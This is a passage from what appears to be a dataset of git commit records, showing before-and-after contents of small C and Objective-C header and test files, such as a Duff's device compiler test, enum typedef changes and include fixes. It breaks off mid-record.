<1fa2ef4755a9226cb9a0a4840bd89b158ac71391@couchbase.com>\n","lang":"C","license":"apache-2.0","repos":"avsej\/libcouchbase,senthilkumaranb\/libcouchbase,mnunberg\/libcouchbase,avsej\/libcouchbase,couchbase\/libcouchbase,kojiromike\/libcouchbase,uvenum\/libcouchbase,couchbase\/libcouchbase,PureSwift\/libcouchbase,mnunberg\/libcouchbase,kojiromike\/libcouchbase,maxim-ky\/libcouchbase,mody\/libcouchbase,mnunberg\/libcouchbase,maxim-ky\/libcouchbase,trondn\/libcouchbase,trondn\/libcouchbase,couchbase\/libcouchbase,mody\/libcouchbase,couchbase\/libcouchbase,couchbase\/libcouchbase,signmotion\/libcouchbase,mody\/libcouchbase,uvenum\/libcouchbase,avsej\/libcouchbase,avsej\/libcouchbase,couchbase\/libcouchbase,mnunberg\/libcouchbase,mody\/libcouchbase,trondn\/libcouchbase,couchbase\/libcouchbase,mnunberg\/libcouchbase,avsej\/libcouchbase,senthilkumaranb\/libcouchbase,signmotion\/libcouchbase,senthilkumaranb\/libcouchbase,PureSwift\/libcouchbase,kojiromike\/libcouchbase,uvenum\/libcouchbase,PureSwift\/libcouchbase,PureSwift\/libcouchbase,senthilkumaranb\/libcouchbase,avsej\/libcouchbase,signmotion\/libcouchbase,kojiromike\/libcouchbase,signmotion\/libcouchbase,maxim-ky\/libcouchbase,uvenum\/libcouchbase,trondn\/libcouchbase,avsej\/libcouchbase,maxim-ky\/libcouchbase,trondn\/libcouchbase,uvenum\/libcouchbase"} {"commit":"06ccd3a0b986f0eb634bf642fe69ba9434a39ed2","old_file":"cc1\/tests\/test036.c","new_file":"cc1\/tests\/test036.c","old_contents":"","new_contents":"\n\/*\nname: TEST036\ndescription: Duff's device\noutput:\n\n*\/\n\n\/* Disgusting, no? But it compiles and runs just fine. I feel a combination of\n pride and revulsion at this discovery. If no one's thought of it before,\n I think I'll name it after myself.\n It amazes me that after 10 years of writing C there are still\n little corners that I haven't explored fully.\n - Tom Duff *\/\n\nsend(to, from, count)\n\tregister short *to, *from;\n\tregister count;\n{\n\tregister n=(count+7)\/8;\n\tswitch(count%8){\n\tcase 0: do{*to = *from++;\n\tcase 7: *to = *from++;\n\tcase 6: *to = *from++;\n\tcase 5: *to = *from++;\n\tcase 4: *to = *from++;\n\tcase 3: *to = *from++;\n\tcase 2: *to = *from++;\n\tcase 1: *to = *from++;\n\t }while(--n>0);\n\t}\n}\n","subject":"Add test for Duff device","message":"Add test for Duff device\n","lang":"C","license":"mit","repos":"k0gaMSX\/kcc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/scc,8l\/scc"} {"commit":"941075e6a69846082231e76aca8642d299c2093c","old_file":"polygon.h","new_file":"polygon.h","old_contents":"#ifndef _POLYGON_H_\n#define _POLYGON_H_\n\n\/*\n * geometric properties of the polygon meant for solving\n *\n * The default C pre-processor configuration here is to solve triangles.\n *\/\n\n#define POLYGON_DEPTH 3\n#if (POLYGON_DEPTH < 3)\n#error You cannot have a polygon with fewer than 3 sides!\n#endif\n#if (POLYGON_DEPTH > 'Z' - 'A')\n#error Angle labels are currently lettered. Sorry for this limitation.\n#endif\n\n\/*\n * All polygons have a fixed limit to the total measure of their angles.\n * For example, the angles of a triangle always sum up to 180 degrees.\n *\/\n#define INTERIOR_DEGREES (180 * ((POLYGON_DEPTH) - 2))\n\n\/*\n * Geometric lengths cannot be negative or zero.\n * We will reserve non-positive measures to indicate un-solved \"unknowns\".\n *\/\n#define KNOWN(measure) ((measure) > 0)\n\nextern int solve_polygon(double * angles, double * sides);\nextern int already_solved(double * angels, double * sides);\n\nextern int find_angle(double * angles);\nextern int find_side(double * sides, const double * angles);\nextern int arc_find_angles(double * angles, const double * sides);\n\n#endif\n","new_contents":"#ifndef _POLYGON_H_\n#define _POLYGON_H_\n\n\/*\n * geometric properties of the polygon meant for solving\n *\n * The default C pre-processor configuration here is to solve triangles.\n *\/\n#ifndef POLYGON_DEPTH\n#define POLYGON_DEPTH 3\n#endif\n\n#if (POLYGON_DEPTH < 3)\n#error You cannot have a polygon with fewer than 3 sides!\n#endif\n#if (POLYGON_DEPTH > 'Z' - 'A')\n#error Angle labels are currently lettered. Sorry for this limitation.\n#endif\n\n\/*\n * All polygons have a fixed limit to the total measure of their angles.\n * For example, the angles of a triangle always sum up to 180 degrees.\n *\/\n#define INTERIOR_DEGREES (180 * ((POLYGON_DEPTH) - 2))\n\n\/*\n * Geometric lengths cannot be negative or zero.\n * We will reserve non-positive measures to indicate un-solved \"unknowns\".\n *\/\n#define KNOWN(measure) ((measure) > 0)\n\nextern int solve_polygon(double * angles, double * sides);\nextern int already_solved(double * angels, double * sides);\n\nextern int find_angle(double * angles);\nextern int find_side(double * sides, const double * angles);\nextern int arc_find_angles(double * angles, const double * sides);\n\n#endif\n","subject":"Allow POLYGON_DEPTH to be configurable by compile commands.","message":"Allow POLYGON_DEPTH to be configurable by compile commands.\n","lang":"C","license":"cc0-1.0","repos":"cxd4\/trig,cxd4\/trig"} {"commit":"6e2253071014ec086daa6e1ad4c10d955617e5a5","old_file":"ASN1Decoder\/ASN1Decoder.h","new_file":"ASN1Decoder\/ASN1Decoder.h","old_contents":"\/\/\n\/\/ ASN1Decoder.h\n\/\/ ASN1Decoder\n\/\/\n\/\/ Created by Filippo Maguolo on 8\/29\/17.\n\/\/ Copyright © 2017 Filippo Maguolo. All rights reserved.\n\/\/\n\n#import \n\n\/\/! Project version number for ASN1Decoder.\nFOUNDATION_EXPORT double ASN1DecoderVersionNumber;\n\n\/\/! Project version string for ASN1Decoder.\nFOUNDATION_EXPORT const unsigned char ASN1DecoderVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import \n\n\n","new_contents":"\/\/\n\/\/ ASN1Decoder.h\n\/\/ ASN1Decoder\n\/\/\n\/\/ Created by Filippo Maguolo on 8\/29\/17.\n\/\/ Copyright © 2017 Filippo Maguolo. All rights reserved.\n\/\/\n\n#import \n\n\/\/! Project version number for ASN1Decoder.\nFOUNDATION_EXPORT double ASN1DecoderVersionNumber;\n\n\/\/! Project version string for ASN1Decoder.\nFOUNDATION_EXPORT const unsigned char ASN1DecoderVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import \n\n","subject":"Remove double whitespace on header file","message":"Remove double whitespace on header file\n","lang":"C","license":"mit","repos":"filom\/ASN1Decoder,filom\/ASN1Decoder"} {"commit":"e667a7e04b163eef4461e72246e8effd7be8f9fa","old_file":"include\/arch\/x86\/arch\/machine\/cpu_registers.h","new_file":"include\/arch\/x86\/arch\/machine\/cpu_registers.h","old_contents":"\/*\n * Copyright 2014, General Dynamics C4 Systems\n *\n * This software may be distributed and modified according to the terms of\n * the GNU General Public License version 2. Note that NO WARRANTY is provided.\n * See \"LICENSE_GPLv2.txt\" for details.\n *\n * @TAG(GD_GPL)\n *\/\n\n#ifndef __ARCH_MACHINE_CPU_REGISTERS_H\n#define __ARCH_MACHINE_CPU_REGISTERS_H\n\n#define CR0_MONITOR_COPROC BIT(1) \/* Trap on FPU \"WAIT\" commands. *\/\n#define CR0_EMULATION BIT(2) \/* Enable OS emulation of FPU. *\/\n#define CR0_TASK_SWITCH BIT(3) \/* Trap on any FPU usage, for lazy FPU. *\/\n#define CR0_NUMERIC_ERROR BIT(5) \/* Internally handle FPU problems. *\/\n#define CR4_OSFXSR BIT(9) \/* Enable SSE et. al. features. *\/\n#define CR4_OSXMMEXCPT BIT(10) \/* Enable SSE exceptions. *\/\n\n\/* We use a dummy variable to synchronize reads and writes to the control registers.\n * this allows us to write inline asm blocks that do not have enforced memory\n * clobbers for ordering. *\/\nstatic unsigned long control_reg_order;\n\n#include \n\n#endif\n","new_contents":"\/*\n * Copyright 2014, General Dynamics C4 Systems\n *\n * This software may be distributed and modified according to the terms of\n * the GNU General Public License version 2. Note that NO WARRANTY is provided.\n * See \"LICENSE_GPLv2.txt\" for details.\n *\n * @TAG(GD_GPL)\n *\/\n\n#ifndef __ARCH_MACHINE_CPU_REGISTERS_H\n#define __ARCH_MACHINE_CPU_REGISTERS_H\n\n#define CR0_MONITOR_COPROC BIT(1) \/* Trap on FPU \"WAIT\" commands. *\/\n#define CR0_EMULATION BIT(2) \/* Enable OS emulation of FPU. *\/\n#define CR0_TASK_SWITCH BIT(3) \/* Trap on any FPU usage, for lazy FPU. *\/\n#define CR0_NUMERIC_ERROR BIT(5) \/* Internally handle FPU problems. *\/\n#define CR4_OSFXSR BIT(9) \/* Enable SSE et. al. features. *\/\n#define CR4_OSXMMEXCPT BIT(10) \/* Enable SSE exceptions. *\/\n#define CR4_OSXSAVE BIT(18) \/* Enavle XSAVE feature set *\/\n\n\/* We use a dummy variable to synchronize reads and writes to the control registers.\n * this allows us to write inline asm blocks that do not have enforced memory\n * clobbers for ordering. *\/\nstatic unsigned long control_reg_order;\n\n#include \n\n#endif\n","subject":"Add missing CR4 bit definition","message":"x86: Add missing CR4 bit definition\n","lang":"C","license":"bsd-2-clause","repos":"cmr\/seL4,cmr\/seL4,cmr\/seL4"} {"commit":"358d98c9444ba6a7b181506220ef3ecddc4e7f04","old_file":"CWStatusBarNotification\/CWStatusBarNotification.h","new_file":"CWStatusBarNotification\/CWStatusBarNotification.h","old_contents":"\/\/\n\/\/ CWStatusBarNotification\n\/\/ CWNotificationDemo\n\/\/\n\/\/ Created by Cezary Wojcik on 11\/15\/13.\n\/\/ Copyright (c) 2013 Cezary Wojcik. All rights reserved.\n\/\/\n\n#import \n\n@interface CWStatusBarNotification : NSObject\n\nenum {\n CWNotificationStyleStatusBarNotification,\n CWNotificationStyleNavigationBarNotification\n};\n\nenum {\n CWNotificationAnimationStyleTop,\n CWNotificationAnimationStyleBottom,\n CWNotificationAnimationStyleLeft,\n CWNotificationAnimationStyleRight\n};\n\n@property (strong, nonatomic) UIColor *notificationLabelBackgroundColor;\n@property (strong, nonatomic) UIColor *notificationLabelTextColor;\n\n@property (nonatomic) NSInteger notificationStyle;\n@property (nonatomic) NSInteger notificationAnimationInStyle;\n@property (nonatomic) NSInteger notificationAnimationOutStyle;\n@property (nonatomic) BOOL notificationIsShowing;\n\n- (void)displayNotificationWithMessage:(NSString *)message forDuration:(CGFloat)duration;\n- (void)displayNotificationWithMessage:(NSString *)message completion:(void (^)(void))completion;\n- (void)dismissNotification;\n\n@end\n","new_contents":"\/\/\n\/\/ CWStatusBarNotification\n\/\/ CWNotificationDemo\n\/\/\n\/\/ Created by Cezary Wojcik on 11\/15\/13.\n\/\/ Copyright (c) 2013 Cezary Wojcik. All rights reserved.\n\/\/\n\n#import \n\n@interface CWStatusBarNotification : NSObject\n\ntypedef NS_ENUM(NSInteger, CWNotificationStyle){\n CWNotificationStyleStatusBarNotification,\n CWNotificationStyleNavigationBarNotification\n};\n\ntypedef NS_ENUM(NSInteger, CWNotificationAnimationStyle) {\n CWNotificationAnimationStyleTop,\n CWNotificationAnimationStyleBottom,\n CWNotificationAnimationStyleLeft,\n CWNotificationAnimationStyleRight\n};\n\n@property (strong, nonatomic) UIColor *notificationLabelBackgroundColor;\n@property (strong, nonatomic) UIColor *notificationLabelTextColor;\n\n@property (nonatomic) CWNotificationStyle notificationStyle;\n@property (nonatomic) CWNotificationAnimationStyle notificationAnimationInStyle;\n@property (nonatomic) CWNotificationAnimationStyle notificationAnimationOutStyle;\n@property (nonatomic) BOOL notificationIsShowing;\n\n- (void)displayNotificationWithMessage:(NSString *)message forDuration:(CGFloat)duration;\n- (void)displayNotificationWithMessage:(NSString *)message completion:(void (^)(void))completion;\n- (void)dismissNotification;\n\n@end\n","subject":"Make types for enums, add types to properties","message":"Make types for enums, add types to properties\n","lang":"C","license":"mit","repos":"kazmasaurus\/CRToast,maranik\/CRToast,hoanganh6491\/CRToast,DerLobi\/CRToast,perrystreetsoftware\/CRToast,dmiedema\/CRToast,AdamCampbell\/CRToast,dedelost\/CRToast,iosdevvivek\/CRToast,mmmilo\/CRToast,cnbin\/CRToast,chinaljw\/CRToast,Kevin775263419\/CRToast,Trueey\/CRToast,Naithar\/CRToast,vladzz\/CRToast,hulu001\/CRToast,leoschweizer\/CRToast,cruffenach\/CRToast,Ashton-W\/CRToast,Adorkable-forkable\/CRToast,Kevin775263419\/CRToast,grzesir\/CRToast,yeahdongcn\/CRToast,hoanganh6491\/CRToast,gohjohn\/CRToast"} {"commit":"9490094b141003d692320113a662224a9fa2ef42","old_file":"include\/asm-mips\/i8253.h","new_file":"include\/asm-mips\/i8253.h","old_contents":"\/*\n * Machine specific IO port address definition for generic.\n * Written by Osamu Tomita \n *\/\n#ifndef _MACH_IO_PORTS_H\n#define _MACH_IO_PORTS_H\n\n\/* i8253A PIT registers *\/\n#define PIT_MODE\t\t0x43\n#define PIT_CH0\t\t\t0x40\n#define PIT_CH2\t\t\t0x42\n\n\/* i8259A PIC registers *\/\n#define PIC_MASTER_CMD\t\t0x20\n#define PIC_MASTER_IMR\t\t0x21\n#define PIC_MASTER_ISR\t\tPIC_MASTER_CMD\n#define PIC_MASTER_POLL\t\tPIC_MASTER_ISR\n#define PIC_MASTER_OCW3\t\tPIC_MASTER_ISR\n#define PIC_SLAVE_CMD\t\t0xa0\n#define PIC_SLAVE_IMR\t\t0xa1\n\n\/* i8259A PIC related value *\/\n#define PIC_CASCADE_IR\t\t2\n#define MASTER_ICW4_DEFAULT\t0x01\n#define SLAVE_ICW4_DEFAULT\t0x01\n#define PIC_ICW4_AEOI\t\t2\n\nextern void setup_pit_timer(void);\n\n#endif \/* !_MACH_IO_PORTS_H *\/\n","new_contents":"\/*\n * Machine specific IO port address definition for generic.\n * Written by Osamu Tomita \n *\/\n#ifndef __ASM_I8253_H\n#define __ASM_I8253_H\n\n\/* i8253A PIT registers *\/\n#define PIT_MODE\t\t0x43\n#define PIT_CH0\t\t\t0x40\n#define PIT_CH2\t\t\t0x42\n\n\/* i8259A PIC registers *\/\n#define PIC_MASTER_CMD\t\t0x20\n#define PIC_MASTER_IMR\t\t0x21\n#define PIC_MASTER_ISR\t\tPIC_MASTER_CMD\n#define PIC_MASTER_POLL\t\tPIC_MASTER_ISR\n#define PIC_MASTER_OCW3\t\tPIC_MASTER_ISR\n#define PIC_SLAVE_CMD\t\t0xa0\n#define PIC_SLAVE_IMR\t\t0xa1\n\n\/* i8259A PIC related value *\/\n#define PIC_CASCADE_IR\t\t2\n#define MASTER_ICW4_DEFAULT\t0x01\n#define SLAVE_ICW4_DEFAULT\t0x01\n#define PIC_ICW4_AEOI\t\t2\n\nextern void setup_pit_timer(void);\n\n#endif \/* __ASM_I8253_H *\/\n","subject":"Fix include wrapper symbol to something sane.","message":"[MIPS] Fix include wrapper symbol to something sane.\n\nAnd why are there i8253.h and 8253pit.h ...\n\nSigned-off-by: Ralf Baechle <92f48d309cda194c8eda36aa8f9ae28c488fa208@linux-mips.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"} {"commit":"be6de4c1215a8ad5607b1fcc7e9e6da1de780877","old_file":"src\/include\/common\/controldata_utils.h","new_file":"src\/include\/common\/controldata_utils.h","old_contents":"\/*\n * controldata_utils.h\n *\t\tCommon code for pg_controldata output\n *\n *\tPortions Copyright (c) 1996-2016, PostgreSQL Global Development Group\n *\tPortions Copyright (c) 1994, Regents of the University of California\n *\n *\tsrc\/include\/common\/controldata_utils.h\n *\/\n#ifndef COMMON_CONTROLDATA_UTILS_H\n#define COMMON_CONTROLDATA_UTILS_H\n\nextern ControlFileData *get_controlfile(char *DataDir, const char *progname);\n\n#endif \/* COMMON_CONTROLDATA_UTILS_H *\/\n","new_contents":"\/*\n * controldata_utils.h\n *\t\tCommon code for pg_controldata output\n *\n *\tPortions Copyright (c) 1996-2016, PostgreSQL Global Development Group\n *\tPortions Copyright (c) 1994, Regents of the University of California\n *\n *\tsrc\/include\/common\/controldata_utils.h\n *\/\n#ifndef COMMON_CONTROLDATA_UTILS_H\n#define COMMON_CONTROLDATA_UTILS_H\n\n#include \"catalog\/pg_control.h\"\n\nextern ControlFileData *get_controlfile(char *DataDir, const char *progname);\n\n#endif \/* COMMON_CONTROLDATA_UTILS_H *\/\n","subject":"Add missing include for self-containment","message":"Add missing include for self-containment\n","lang":"C","license":"apache-2.0","repos":"greenplum-db\/gpdb,greenplum-db\/gpdb,adam8157\/gpdb,ashwinstar\/gpdb,greenplum-db\/gpdb,50wu\/gpdb,ashwinstar\/gpdb,jmcatamney\/gpdb,lisakowen\/gpdb,xinzweb\/gpdb,ashwinstar\/gpdb,greenplum-db\/gpdb,adam8157\/gpdb,50wu\/gpdb,50wu\/gpdb,xinzweb\/gpdb,greenplum-db\/gpdb,adam8157\/gpdb,ashwinstar\/gpdb,lisakowen\/gpdb,50wu\/gpdb,50wu\/gpdb,xinzweb\/gpdb,xinzweb\/gpdb,jmcatamney\/gpdb,adam8157\/gpdb,lisakowen\/gpdb,jmcatamney\/gpdb,ashwinstar\/gpdb,jmcatamney\/gpdb,adam8157\/gpdb,xinzweb\/gpdb,xinzweb\/gpdb,lisakowen\/gpdb,ashwinstar\/gpdb,lisakowen\/gpdb,50wu\/gpdb,greenplum-db\/gpdb,lisakowen\/gpdb,jmcatamney\/gpdb,50wu\/gpdb,jmcatamney\/gpdb,adam8157\/gpdb,lisakowen\/gpdb,lisakowen\/gpdb,jmcatamney\/gpdb,ashwinstar\/gpdb,greenplum-db\/gpdb,jmcatamney\/gpdb,ashwinstar\/gpdb,adam8157\/gpdb,xinzweb\/gpdb,50wu\/gpdb,xinzweb\/gpdb,adam8157\/gpdb,greenplum-db\/gpdb"} {"commit":"7b91a38d79ab14ea212a91a69a19b31111d1ba91","old_file":"include\/fish_detector\/common\/species_dialog.h","new_file":"include\/fish_detector\/common\/species_dialog.h","old_contents":"\/\/\/ @file\n\/\/\/ @brief Defines SpeciesDialog class.\n\n#ifndef SPECIES_DIALOG_H\n#define SPECIES_DIALOG_H\n\n#include \n\n#include \n#include \n\n#include \"fish_detector\/common\/species.h\"\n\nnamespace Ui {\n class SpeciesDialog;\n}\n\nnamespace fish_detector {\n\nclass SpeciesDialog : public QDialog {\n Q_OBJECT\n#ifndef NO_TESTING\n friend class TestSpeciesDialog;\n#endif\npublic:\n \/\/\/ @brief Constructor.\n \/\/\/\n \/\/\/ @param parent Parent widget.\n explicit SpeciesDialog(QWidget *parent = 0);\n\n \/\/\/ @brief Returns a Species object corresponding to the dialog values.\n \/\/\/\n \/\/\/ @return Species object corresponding to the dialog values.\n Species getSpecies();\n\nprivate slots:\n \/\/\/ @brief Emits the accepted signal.\n void on_ok_clicked();\n\n \/\/\/ @brief Emits the rejected signal.\n void on_cancel_clicked();\n\n \/\/\/ @brief Removes currently selected subspecies.\n void on_removeSubspecies_clicked();\n\n \/\/\/ @brief Adds a new subspecies.\n void on_addSubspecies_clicked();\n\nprivate:\n \/\/\/ @brief Widget loaded from ui file.\n std::unique_ptr ui_;\n};\n\n} \/\/ namespace fish_detector\n\n#endif \/\/ SPECIES_DIALOG_H\n","new_contents":"\/\/\/ @file\n\/\/\/ @brief Defines SpeciesDialog class.\n\n#ifndef SPECIES_DIALOG_H\n#define SPECIES_DIALOG_H\n\n#include \n\n#include \n#include \n\n#include \"fish_detector\/common\/species.h\"\n\nnamespace Ui {\n class SpeciesDialog;\n}\n\nnamespace fish_detector {\n\nclass SpeciesDialog : public QDialog {\n Q_OBJECT\npublic:\n \/\/\/ @brief Constructor.\n \/\/\/\n \/\/\/ @param parent Parent widget.\n explicit SpeciesDialog(QWidget *parent = 0);\n\n \/\/\/ @brief Returns a Species object corresponding to the dialog values.\n \/\/\/\n \/\/\/ @return Species object corresponding to the dialog values.\n Species getSpecies();\n\nprivate slots:\n \/\/\/ @brief Calls inherited accept function.\n void on_ok_clicked();\n\n \/\/\/ @brief Calls inherited reject function.\n void on_cancel_clicked();\n\n \/\/\/ @brief Removes currently selected subspecies.\n void on_removeSubspecies_clicked();\n\n \/\/\/ @brief Adds a new subspecies.\n void on_addSubspecies_clicked();\n\nprivate:\n \/\/\/ @brief Widget loaded from ui file.\n std::unique_ptr ui_;\n};\n\n} \/\/ namespace fish_detector\n\n#endif \/\/ SPECIES_DIALOG_H\n","subject":"Remove unused friend class declaration","message":"Remove unused friend class declaration\n","lang":"C","license":"mit","repos":"BGWoodward\/FishDetector"} {"commit":"2a655bcf9e5c30077197d314690ffbf86a042712","old_file":"STTweetLabel\/STTweetLabel.h","new_file":"STTweetLabel\/STTweetLabel.h","old_contents":"\/\/\n\/\/ STTweetLabel.h\n\/\/ STTweetLabel\n\/\/\n\/\/ Created by Sebastien Thiebaud on 09\/29\/13.\n\/\/ Copyright (c) 2013 Sebastien Thiebaud. All rights reserved.\n\/\/\n\ntypedef enum {\n STTweetHandle = 0,\n STTweetHashtag,\n STTweetLink\n} STTweetHotWord;\n\n@interface STTweetLabel : UILabel\n\n@property (nonatomic, strong) NSArray *validProtocols;\n@property (nonatomic, assign) BOOL leftToRight;\n@property (nonatomic, assign) BOOL textSelectable;\n@property (nonatomic, strong) UIColor *selectionColor;\n@property (nonatomic, copy) void (^detectionBlock)(STTweetHotWord hotWord, NSString *string, NSString *protocol, NSRange range);\n\n- (void)setAttributes:(NSDictionary *)attributes;\n- (void)setAttributes:(NSDictionary *)attributes hotWord:(STTweetHotWord)hotWord;\n\n- (NSDictionary *)attributes;\n- (NSDictionary *)attributesForHotWord:(STTweetHotWord)hotWord;\n\n- (CGSize)suggestedFrameSizeToFitEntireStringConstraintedToWidth:(CGFloat)width;\n\n@end\n","new_contents":"\/\/\n\/\/ STTweetLabel.h\n\/\/ STTweetLabel\n\/\/\n\/\/ Created by Sebastien Thiebaud on 09\/29\/13.\n\/\/ Copyright (c) 2013 Sebastien Thiebaud. All rights reserved.\n\/\/\n\ntypedef NS_ENUM(NSInteger, STTweetHotWord) {\n STTweetHandle = 0,\n STTweetHashtag,\n STTweetLink\n};\n\n@interface STTweetLabel : UILabel\n\n@property (nonatomic, strong) NSArray *validProtocols;\n@property (nonatomic, assign) BOOL leftToRight;\n@property (nonatomic, assign) BOOL textSelectable;\n@property (nonatomic, strong) UIColor *selectionColor;\n@property (nonatomic, copy) void (^detectionBlock)(STTweetHotWord hotWord, NSString *string, NSString *protocol, NSRange range);\n\n- (void)setAttributes:(NSDictionary *)attributes;\n- (void)setAttributes:(NSDictionary *)attributes hotWord:(STTweetHotWord)hotWord;\n\n- (NSDictionary *)attributes;\n- (NSDictionary *)attributesForHotWord:(STTweetHotWord)hotWord;\n\n- (CGSize)suggestedFrameSizeToFitEntireStringConstraintedToWidth:(CGFloat)width;\n\n@end\n","subject":"Make enum available to swift","message":"Make enum available to swift\n","lang":"C","license":"mit","repos":"bespider\/STTweetLabel,pankkor\/STTweetLabel,pabelnl\/STTweetLabel,HackRoy\/STTweetLabel,SebastienThiebaud\/STTweetLabel,quanquan1986\/STTweetLabel"} {"commit":"0699830cd0dd5b606647c28c7e4b0965c418e6b8","old_file":"MenuItemKit\/MenuItemKit.h","new_file":"MenuItemKit\/MenuItemKit.h","old_contents":"\/\/\n\/\/ MenuItemKit.h\n\/\/ MenuItemKit\n\/\/\n\/\/ Created by CHEN Xian’an on 1\/16\/16.\n\/\/ Copyright © 2016 lazyapps. All rights reserved.\n\/\/\n\n#import \n#import \"Headers.h\"\n\n\/\/! Project version number for MenuItemKit.\nFOUNDATION_EXPORT double MenuItemKitVersionNumber;\n\n\/\/! Project version string for MenuItemKit.\nFOUNDATION_EXPORT const unsigned char MenuItemKitVersionString[];\n","new_contents":"\/\/\n\/\/ MenuItemKit.h\n\/\/ MenuItemKit\n\/\/\n\/\/ Created by CHEN Xian’an on 1\/16\/16.\n\/\/ Copyright © 2016 lazyapps. All rights reserved.\n\/\/\n\n#import \n#import \n\n\/\/! Project version number for MenuItemKit.\nFOUNDATION_EXPORT double MenuItemKitVersionNumber;\n\n\/\/! Project version string for MenuItemKit.\nFOUNDATION_EXPORT const unsigned char MenuItemKitVersionString[];\n","subject":"Use brackets for headers as Xcode suggested","message":"Use brackets for headers as Xcode suggested\n","lang":"C","license":"mit","repos":"cxa\/MenuItemKit,cxa\/MenuItemKit"} {"commit":"2b71152eafc98a35bca1b99a8fa0ab4a053876f8","old_file":"RMGallery\/RMGallery.h","new_file":"RMGallery\/RMGallery.h","old_contents":"\/\/\n\/\/ RMGallery.h\n\/\/ RMGallery\n\/\/\n\/\/ Created by Hermés Piqué on 16\/05\/14.\n\/\/ Copyright (c) 2014 Robot Media. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\n#import \"RMGalleryViewController.h\"\n#import \"RMGalleryTransition.h\"","new_contents":"\/\/\n\/\/ RMGallery.h\n\/\/ RMGallery\n\/\/\n\/\/ Created by Hermés Piqué on 16\/05\/14.\n\/\/ Copyright (c) 2014 Robot Media. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\n#import \"RMGalleryViewController.h\"\n#import \"RMGalleryTransition.h\"\n","subject":"Add new line at end of file to fix build","message":"Add new line at end of file to fix build\n","lang":"C","license":"apache-2.0","repos":"UrbanCompass\/RMGallery"} {"commit":"c923f1c951486603591d797c5f7fb7a0c2b923a5","old_file":"FTFountain\/iOS\/FTFountainiOS.h","new_file":"FTFountain\/iOS\/FTFountainiOS.h","old_contents":"\/\/\n\/\/ FTFountainiOS.h\n\/\/ FTFountain\n\/\/\n\/\/ Created by Tobias Kräntzer on 18.07.15.\n\/\/ Copyright (c) 2015 Tobias Kräntzer. All rights reserved.\n\/\/\n\n\/\/ Adapter\n#import \"FTTableViewAdapter.h\"\n#import \"FTCollectionViewAdapter.h\"\n","new_contents":"\/\/\n\/\/ FTFountainiOS.h\n\/\/ FTFountain\n\/\/\n\/\/ Created by Tobias Kräntzer on 18.07.15.\n\/\/ Copyright (c) 2015 Tobias Kräntzer. All rights reserved.\n\/\/\n\n\/\/ Adapter\n#import \"FTTableViewAdapter.h\"\n#import \"FTTableViewAdapter+Subclassing.h\"\n#import \"FTCollectionViewAdapter.h\"\n#import \"FTCollectionViewAdapter+Subclassing.h\"\n","subject":"Add subclassing headers for the table and collection view adapter to the umbrella header","message":"Add subclassing headers for the table and collection view adapter to the umbrella header\n","lang":"C","license":"bsd-3-clause","repos":"anagromataf\/Fountain,anagromataf\/Fountain"} {"commit":"cf0aebe327a7086e4c31a37aaa9b91491c619681","old_file":"src\/Engine\/Input.h","new_file":"src\/Engine\/Input.h","old_contents":"#pragma once\n\n#include \"SDL.h\"\n#include \"Component.h\"\n#include \"Point.h\"\n\n#define NUM_MOUSE_BUTTONS 5\n#define CONTROLLER_JOYSTICK_DEATHZONE 8000\n\nclass Input\n{\npublic:\n\tInput();\n\t~Input();\n\n\tvoid Poll(const SDL_Event& e);\n\n\tbool IsKeyPressed(SDL_Scancode key);\n\tbool IsKeyHeld(SDL_Scancode key) const;\n\tbool IsKeyReleased(SDL_Scancode key);\n\n\tSDL_GameController *controller1 = nullptr;\n\tSDL_GameController *controller2 = nullptr;\n\tbool IsControllerButtonPressed(SDL_GameController* controller, SDL_GameControllerButton button);\n\tbool IsControllerButtonHeld(SDL_GameController* controller, SDL_GameControllerButton button) const;\n\tbool IsControllerButtonReleased(SDL_GameController* controller, SDL_GameControllerButton button);\n\n\tbool IsMouseButtonPressed(int button) const;\n\tbool IsMouseButtonHeld(int button) const;\n\tbool IsMouseButtonReleased(int button) const;\n\n\tfloat MouseX() const;\n\tfloat MouseY() const;\n\n\tPoint GetMousePosition(Point& position) const;\n\nprivate:\n\tbool keys[SDL_NUM_SCANCODES];\n\tbool lastKeys[SDL_NUM_SCANCODES];\n\n\tbool lastControllerButtons[SDL_CONTROLLER_BUTTON_MAX];\n\tvoid OpenControllers();\n\n\tbool mouseButtons[NUM_MOUSE_BUTTONS];\n\tbool lastMouseButtons[NUM_MOUSE_BUTTONS];\n};\n\n","new_contents":"#pragma once\n\n#include \"SDL.h\"\n#include \"Component.h\"\n#include \"Point.h\"\n\n#define NUM_MOUSE_BUTTONS 5\n#define CONTROLLER_JOYSTICK_DEATHZONE 8000\n\nclass Input\n{\npublic:\n\tInput();\n\t~Input();\n\n\tvoid Poll(const SDL_Event& e);\n\n\tbool IsKeyPressed(SDL_Scancode key);\n\tbool IsKeyHeld(SDL_Scancode key) const;\n\tbool IsKeyReleased(SDL_Scancode key);\n\n\tSDL_GameController *controller1 = 